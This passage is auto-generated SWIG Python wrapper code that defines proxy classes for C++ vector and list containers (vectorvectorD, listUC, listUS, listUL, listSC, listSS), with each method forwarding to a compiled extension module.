swap(self, *args): """swap(self, vectorvectorD v)""" return _pyBasePython.vectorvectorD_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorD_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorD_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorD_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorD_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorD_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorD_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorD_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorD __init__(self, vectorvectorD arg0) -> vectorvectorD __init__(self, size_type size) -> vectorvectorD __init__(self, size_type size, value_type value) -> vectorvectorD """ _pyBasePython.vectorvectorD_swiginit(self,_pyBasePython.new_vectorvectorD(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorD_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorD_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorD_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorD_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorD_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorD_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorD_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorD_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorD vectorvectorD.iterator = new_instancemethod(_pyBasePython.vectorvectorD_iterator,None,vectorvectorD) vectorvectorD.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorD___nonzero__,None,vectorvectorD) vectorvectorD.__bool__ = new_instancemethod(_pyBasePython.vectorvectorD___bool__,None,vectorvectorD) vectorvectorD.__len__ = new_instancemethod(_pyBasePython.vectorvectorD___len__,None,vectorvectorD) vectorvectorD.pop = new_instancemethod(_pyBasePython.vectorvectorD_pop,None,vectorvectorD) vectorvectorD.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorD___getslice__,None,vectorvectorD) vectorvectorD.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorD___setslice__,None,vectorvectorD) vectorvectorD.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorD___delslice__,None,vectorvectorD) vectorvectorD.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorD___delitem__,None,vectorvectorD) vectorvectorD.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorD___getitem__,None,vectorvectorD) vectorvectorD.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorD___setitem__,None,vectorvectorD) vectorvectorD.append = new_instancemethod(_pyBasePython.vectorvectorD_append,None,vectorvectorD) vectorvectorD.empty = new_instancemethod(_pyBasePython.vectorvectorD_empty,None,vectorvectorD) vectorvectorD.size = new_instancemethod(_pyBasePython.vectorvectorD_size,None,vectorvectorD) vectorvectorD.clear = new_instancemethod(_pyBasePython.vectorvectorD_clear,None,vectorvectorD) vectorvectorD.swap = new_instancemethod(_pyBasePython.vectorvectorD_swap,None,vectorvectorD) vectorvectorD.get_allocator = new_instancemethod(_pyBasePython.vectorvectorD_get_allocator,None,vectorvectorD) vectorvectorD.begin = new_instancemethod(_pyBasePython.vectorvectorD_begin,None,vectorvectorD) vectorvectorD.end = new_instancemethod(_pyBasePython.vectorvectorD_end,None,vectorvectorD) vectorvectorD.rbegin = new_instancemethod(_pyBasePython.vectorvectorD_rbegin,None,vectorvectorD) vectorvectorD.rend = new_instancemethod(_pyBasePython.vectorvectorD_rend,None,vectorvectorD) vectorvectorD.pop_back = new_instancemethod(_pyBasePython.vectorvectorD_pop_back,None,vectorvectorD) vectorvectorD.erase = new_instancemethod(_pyBasePython.vectorvectorD_erase,None,vectorvectorD) vectorvectorD.push_back = new_instancemethod(_pyBasePython.vectorvectorD_push_back,None,vectorvectorD) vectorvectorD.front = new_instancemethod(_pyBasePython.vectorvectorD_front,None,vectorvectorD) vectorvectorD.back = new_instancemethod(_pyBasePython.vectorvectorD_back,None,vectorvectorD) vectorvectorD.assign = new_instancemethod(_pyBasePython.vectorvectorD_assign,None,vectorvectorD) vectorvectorD.resize = new_instancemethod(_pyBasePython.vectorvectorD_resize,None,vectorvectorD) vectorvectorD.insert = new_instancemethod(_pyBasePython.vectorvectorD_insert,None,vectorvectorD) vectorvectorD.reserve = new_instancemethod(_pyBasePython.vectorvectorD_reserve,None,vectorvectorD) vectorvectorD.capacity = new_instancemethod(_pyBasePython.vectorvectorD_capacity,None,vectorvectorD) vectorvectorD_swigregister = _pyBasePython.vectorvectorD_swigregister vectorvectorD_swigregister(vectorvectorD) class listUC(object): """Proxy of C++ std::list<(unsigned char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listUC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listUC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listUC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listUC___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listUC_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listUC""" return _pyBasePython.listUC___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listUC v)""" return _pyBasePython.listUC___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listUC___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listUC___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listUC __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listUC___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listUC v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listUC___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listUC_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listUC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listUC_size(self) def clear(self): """clear(self)""" return _pyBasePython.listUC_clear(self) def swap(self, *args): """swap(self, listUC v)""" return _pyBasePython.listUC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listUC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listUC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listUC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listUC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listUC_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listUC_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listUC_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listUC __init__(self, listUC arg0) -> listUC __init__(self, size_type size) -> listUC __init__(self, size_type size, value_type value) -> listUC """ _pyBasePython.listUC_swiginit(self,_pyBasePython.new_listUC(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listUC_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listUC_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listUC_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listUC_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listUC_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listUC_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listUC_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listUC_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listUC_reverse(self) __swig_destroy__ = _pyBasePython.delete_listUC listUC.iterator = new_instancemethod(_pyBasePython.listUC_iterator,None,listUC) listUC.__nonzero__ = new_instancemethod(_pyBasePython.listUC___nonzero__,None,listUC) listUC.__bool__ = new_instancemethod(_pyBasePython.listUC___bool__,None,listUC) listUC.__len__ = new_instancemethod(_pyBasePython.listUC___len__,None,listUC) listUC.pop = new_instancemethod(_pyBasePython.listUC_pop,None,listUC) listUC.__getslice__ = new_instancemethod(_pyBasePython.listUC___getslice__,None,listUC) listUC.__setslice__ = new_instancemethod(_pyBasePython.listUC___setslice__,None,listUC) listUC.__delslice__ = new_instancemethod(_pyBasePython.listUC___delslice__,None,listUC) listUC.__delitem__ = new_instancemethod(_pyBasePython.listUC___delitem__,None,listUC) listUC.__getitem__ = new_instancemethod(_pyBasePython.listUC___getitem__,None,listUC) listUC.__setitem__ = new_instancemethod(_pyBasePython.listUC___setitem__,None,listUC) listUC.append = new_instancemethod(_pyBasePython.listUC_append,None,listUC) listUC.empty = new_instancemethod(_pyBasePython.listUC_empty,None,listUC) listUC.size = new_instancemethod(_pyBasePython.listUC_size,None,listUC) listUC.clear = new_instancemethod(_pyBasePython.listUC_clear,None,listUC) listUC.swap = new_instancemethod(_pyBasePython.listUC_swap,None,listUC) listUC.get_allocator = new_instancemethod(_pyBasePython.listUC_get_allocator,None,listUC) listUC.begin = new_instancemethod(_pyBasePython.listUC_begin,None,listUC) listUC.end = new_instancemethod(_pyBasePython.listUC_end,None,listUC) listUC.rbegin = new_instancemethod(_pyBasePython.listUC_rbegin,None,listUC) listUC.rend = new_instancemethod(_pyBasePython.listUC_rend,None,listUC) listUC.pop_back = new_instancemethod(_pyBasePython.listUC_pop_back,None,listUC) listUC.erase = new_instancemethod(_pyBasePython.listUC_erase,None,listUC) listUC.push_back = new_instancemethod(_pyBasePython.listUC_push_back,None,listUC) listUC.front = new_instancemethod(_pyBasePython.listUC_front,None,listUC) listUC.back = new_instancemethod(_pyBasePython.listUC_back,None,listUC) listUC.assign = new_instancemethod(_pyBasePython.listUC_assign,None,listUC) listUC.resize = new_instancemethod(_pyBasePython.listUC_resize,None,listUC) listUC.insert = new_instancemethod(_pyBasePython.listUC_insert,None,listUC) listUC.pop_front = new_instancemethod(_pyBasePython.listUC_pop_front,None,listUC) listUC.push_front = new_instancemethod(_pyBasePython.listUC_push_front,None,listUC) listUC.reverse = new_instancemethod(_pyBasePython.listUC_reverse,None,listUC) listUC_swigregister = _pyBasePython.listUC_swigregister listUC_swigregister(listUC) class listUS(object): """Proxy of C++ std::list<(unsigned short)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listUS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listUS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listUS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listUS___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listUS_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listUS""" return _pyBasePython.listUS___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listUS v)""" return _pyBasePython.listUS___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listUS___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listUS___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listUS __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listUS___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listUS v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listUS___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listUS_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listUS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listUS_size(self) def clear(self): """clear(self)""" return _pyBasePython.listUS_clear(self) def swap(self, *args): """swap(self, listUS v)""" return _pyBasePython.listUS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listUS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listUS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listUS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listUS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listUS_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listUS_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listUS_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listUS __init__(self, listUS arg0) -> listUS __init__(self, size_type size) -> listUS __init__(self, size_type size, value_type value) -> listUS """ _pyBasePython.listUS_swiginit(self,_pyBasePython.new_listUS(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listUS_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listUS_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listUS_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listUS_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listUS_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listUS_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listUS_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listUS_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listUS_reverse(self) __swig_destroy__ = _pyBasePython.delete_listUS listUS.iterator = new_instancemethod(_pyBasePython.listUS_iterator,None,listUS) listUS.__nonzero__ = new_instancemethod(_pyBasePython.listUS___nonzero__,None,listUS) listUS.__bool__ = new_instancemethod(_pyBasePython.listUS___bool__,None,listUS) listUS.__len__ = new_instancemethod(_pyBasePython.listUS___len__,None,listUS) listUS.pop = new_instancemethod(_pyBasePython.listUS_pop,None,listUS) listUS.__getslice__ = new_instancemethod(_pyBasePython.listUS___getslice__,None,listUS) listUS.__setslice__ = new_instancemethod(_pyBasePython.listUS___setslice__,None,listUS) listUS.__delslice__ = new_instancemethod(_pyBasePython.listUS___delslice__,None,listUS) listUS.__delitem__ = new_instancemethod(_pyBasePython.listUS___delitem__,None,listUS) listUS.__getitem__ = new_instancemethod(_pyBasePython.listUS___getitem__,None,listUS) listUS.__setitem__ = new_instancemethod(_pyBasePython.listUS___setitem__,None,listUS) listUS.append = new_instancemethod(_pyBasePython.listUS_append,None,listUS) listUS.empty = new_instancemethod(_pyBasePython.listUS_empty,None,listUS) listUS.size = new_instancemethod(_pyBasePython.listUS_size,None,listUS) listUS.clear = new_instancemethod(_pyBasePython.listUS_clear,None,listUS) listUS.swap = new_instancemethod(_pyBasePython.listUS_swap,None,listUS) listUS.get_allocator = new_instancemethod(_pyBasePython.listUS_get_allocator,None,listUS) listUS.begin = new_instancemethod(_pyBasePython.listUS_begin,None,listUS) listUS.end = new_instancemethod(_pyBasePython.listUS_end,None,listUS) listUS.rbegin = new_instancemethod(_pyBasePython.listUS_rbegin,None,listUS) listUS.rend = new_instancemethod(_pyBasePython.listUS_rend,None,listUS) listUS.pop_back = new_instancemethod(_pyBasePython.listUS_pop_back,None,listUS) listUS.erase = new_instancemethod(_pyBasePython.listUS_erase,None,listUS) listUS.push_back = new_instancemethod(_pyBasePython.listUS_push_back,None,listUS) listUS.front = new_instancemethod(_pyBasePython.listUS_front,None,listUS) listUS.back = new_instancemethod(_pyBasePython.listUS_back,None,listUS) listUS.assign = new_instancemethod(_pyBasePython.listUS_assign,None,listUS) listUS.resize = new_instancemethod(_pyBasePython.listUS_resize,None,listUS) listUS.insert = new_instancemethod(_pyBasePython.listUS_insert,None,listUS) listUS.pop_front = new_instancemethod(_pyBasePython.listUS_pop_front,None,listUS) listUS.push_front = new_instancemethod(_pyBasePython.listUS_push_front,None,listUS) listUS.reverse = new_instancemethod(_pyBasePython.listUS_reverse,None,listUS) listUS_swigregister = _pyBasePython.listUS_swigregister listUS_swigregister(listUS) class listUL(object): """Proxy of C++ std::list<(unsigned long)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listUL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listUL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listUL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listUL___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listUL_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listUL""" return _pyBasePython.listUL___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listUL v)""" return _pyBasePython.listUL___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listUL___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listUL___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listUL __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listUL___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listUL v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listUL___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listUL_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listUL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listUL_size(self) def clear(self): """clear(self)""" return _pyBasePython.listUL_clear(self) def swap(self, *args): """swap(self, listUL v)""" return _pyBasePython.listUL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listUL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listUL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listUL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listUL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listUL_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listUL_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listUL_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listUL __init__(self, listUL arg0) -> listUL __init__(self, size_type size) -> listUL __init__(self, size_type size, value_type value) -> listUL """ _pyBasePython.listUL_swiginit(self,_pyBasePython.new_listUL(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listUL_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listUL_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listUL_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listUL_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listUL_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listUL_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listUL_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listUL_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listUL_reverse(self) __swig_destroy__ = _pyBasePython.delete_listUL listUL.iterator = new_instancemethod(_pyBasePython.listUL_iterator,None,listUL) listUL.__nonzero__ = new_instancemethod(_pyBasePython.listUL___nonzero__,None,listUL) listUL.__bool__ = new_instancemethod(_pyBasePython.listUL___bool__,None,listUL) listUL.__len__ = new_instancemethod(_pyBasePython.listUL___len__,None,listUL) listUL.pop = new_instancemethod(_pyBasePython.listUL_pop,None,listUL) listUL.__getslice__ = new_instancemethod(_pyBasePython.listUL___getslice__,None,listUL) listUL.__setslice__ = new_instancemethod(_pyBasePython.listUL___setslice__,None,listUL) listUL.__delslice__ = new_instancemethod(_pyBasePython.listUL___delslice__,None,listUL) listUL.__delitem__ = new_instancemethod(_pyBasePython.listUL___delitem__,None,listUL) listUL.__getitem__ = new_instancemethod(_pyBasePython.listUL___getitem__,None,listUL) listUL.__setitem__ = new_instancemethod(_pyBasePython.listUL___setitem__,None,listUL) listUL.append = new_instancemethod(_pyBasePython.listUL_append,None,listUL) listUL.empty = new_instancemethod(_pyBasePython.listUL_empty,None,listUL) listUL.size = new_instancemethod(_pyBasePython.listUL_size,None,listUL) listUL.clear = new_instancemethod(_pyBasePython.listUL_clear,None,listUL) listUL.swap = new_instancemethod(_pyBasePython.listUL_swap,None,listUL) listUL.get_allocator = new_instancemethod(_pyBasePython.listUL_get_allocator,None,listUL) listUL.begin = new_instancemethod(_pyBasePython.listUL_begin,None,listUL) listUL.end = new_instancemethod(_pyBasePython.listUL_end,None,listUL) listUL.rbegin = new_instancemethod(_pyBasePython.listUL_rbegin,None,listUL) listUL.rend = new_instancemethod(_pyBasePython.listUL_rend,None,listUL) listUL.pop_back = new_instancemethod(_pyBasePython.listUL_pop_back,None,listUL) listUL.erase = new_instancemethod(_pyBasePython.listUL_erase,None,listUL) listUL.push_back = new_instancemethod(_pyBasePython.listUL_push_back,None,listUL) listUL.front = new_instancemethod(_pyBasePython.listUL_front,None,listUL) listUL.back = new_instancemethod(_pyBasePython.listUL_back,None,listUL) listUL.assign = new_instancemethod(_pyBasePython.listUL_assign,None,listUL) listUL.resize = new_instancemethod(_pyBasePython.listUL_resize,None,listUL) listUL.insert = new_instancemethod(_pyBasePython.listUL_insert,None,listUL) listUL.pop_front = new_instancemethod(_pyBasePython.listUL_pop_front,None,listUL) listUL.push_front = new_instancemethod(_pyBasePython.listUL_push_front,None,listUL) listUL.reverse = new_instancemethod(_pyBasePython.listUL_reverse,None,listUL) listUL_swigregister = _pyBasePython.listUL_swigregister listUL_swigregister(listUL) class listSC(object): """Proxy of C++ std::list<(signed char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listSC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listSC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listSC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listSC___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listSC_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listSC""" return _pyBasePython.listSC___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listSC v)""" return _pyBasePython.listSC___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listSC___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listSC___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listSC __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listSC___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listSC v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listSC___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listSC_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listSC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listSC_size(self) def clear(self): """clear(self)""" return _pyBasePython.listSC_clear(self) def swap(self, *args): """swap(self, listSC v)""" return _pyBasePython.listSC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listSC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listSC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listSC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listSC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listSC_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listSC_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listSC_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listSC __init__(self, listSC arg0) -> listSC __init__(self, size_type size) -> listSC __init__(self, size_type size, value_type value) -> listSC """ _pyBasePython.listSC_swiginit(self,_pyBasePython.new_listSC(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listSC_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listSC_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listSC_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listSC_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listSC_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listSC_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listSC_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listSC_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listSC_reverse(self) __swig_destroy__ = _pyBasePython.delete_listSC listSC.iterator = new_instancemethod(_pyBasePython.listSC_iterator,None,listSC) listSC.__nonzero__ = new_instancemethod(_pyBasePython.listSC___nonzero__,None,listSC) listSC.__bool__ = new_instancemethod(_pyBasePython.listSC___bool__,None,listSC) listSC.__len__ = new_instancemethod(_pyBasePython.listSC___len__,None,listSC) listSC.pop = new_instancemethod(_pyBasePython.listSC_pop,None,listSC) listSC.__getslice__ = new_instancemethod(_pyBasePython.listSC___getslice__,None,listSC) listSC.__setslice__ = new_instancemethod(_pyBasePython.listSC___setslice__,None,listSC) listSC.__delslice__ = new_instancemethod(_pyBasePython.listSC___delslice__,None,listSC) listSC.__delitem__ = new_instancemethod(_pyBasePython.listSC___delitem__,None,listSC) listSC.__getitem__ = new_instancemethod(_pyBasePython.listSC___getitem__,None,listSC) listSC.__setitem__ = new_instancemethod(_pyBasePython.listSC___setitem__,None,listSC) listSC.append = new_instancemethod(_pyBasePython.listSC_append,None,listSC) listSC.empty = new_instancemethod(_pyBasePython.listSC_empty,None,listSC) listSC.size = new_instancemethod(_pyBasePython.listSC_size,None,listSC) listSC.clear = new_instancemethod(_pyBasePython.listSC_clear,None,listSC) listSC.swap = new_instancemethod(_pyBasePython.listSC_swap,None,listSC) listSC.get_allocator = new_instancemethod(_pyBasePython.listSC_get_allocator,None,listSC) listSC.begin = new_instancemethod(_pyBasePython.listSC_begin,None,listSC) listSC.end = new_instancemethod(_pyBasePython.listSC_end,None,listSC) listSC.rbegin = new_instancemethod(_pyBasePython.listSC_rbegin,None,listSC) listSC.rend = new_instancemethod(_pyBasePython.listSC_rend,None,listSC) listSC.pop_back = new_instancemethod(_pyBasePython.listSC_pop_back,None,listSC) listSC.erase = new_instancemethod(_pyBasePython.listSC_erase,None,listSC) listSC.push_back = new_instancemethod(_pyBasePython.listSC_push_back,None,listSC) listSC.front = new_instancemethod(_pyBasePython.listSC_front,None,listSC) listSC.back = new_instancemethod(_pyBasePython.listSC_back,None,listSC) listSC.assign = new_instancemethod(_pyBasePython.listSC_assign,None,listSC) listSC.resize = new_instancemethod(_pyBasePython.listSC_resize,None,listSC) listSC.insert = new_instancemethod(_pyBasePython.listSC_insert,None,listSC) listSC.pop_front = new_instancemethod(_pyBasePython.listSC_pop_front,None,listSC) listSC.push_front = new_instancemethod(_pyBasePython.listSC_push_front,None,listSC) listSC.reverse = new_instancemethod(_pyBasePython.listSC_reverse,None,listSC) listSC_swigregister = _pyBasePython.listSC_swigregister listSC_swigregister(listSC) class listSS(object): """Proxy of C++ std::list<(short)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listSS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listSS___nonzero__(self) def 